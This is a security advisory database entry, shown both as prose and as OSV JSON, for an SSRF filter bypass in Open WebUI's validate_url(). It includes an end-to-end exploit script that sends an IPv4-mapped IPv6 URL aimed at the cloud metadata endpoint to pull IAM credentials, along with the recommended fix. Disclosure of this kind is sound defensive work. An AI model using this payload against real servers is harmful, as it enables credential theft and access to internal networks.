PYSEC-2026-2702

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05
VLAI
Details

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

  • Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
  • DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
  • urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
  • Playwright loader redirect: GHSA-jrfp-m64g-pcwv
  • Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

  • Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
  • wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

Impacted products
Name purl
open-webui pkg:pypi/open-webui

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.37",
        "0.6.38",
        "0.6.39",
        "0.6.4",
        "0.6.40",
        "0.6.41",
        "0.6.42",
        "0.6.43",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.8.10",
        "0.8.11",
        "0.8.12",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.8.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45331",
    "GHSA-4v7r-f4w8-8972"
  ],
  "details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy \u2014 never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
  "id": "PYSEC-2026-2702",
  "modified": "2026-07-13T16:05:10.897342Z",
  "published": "2026-07-13T15:19:06.374482Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4v7r-f4w8-8972"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…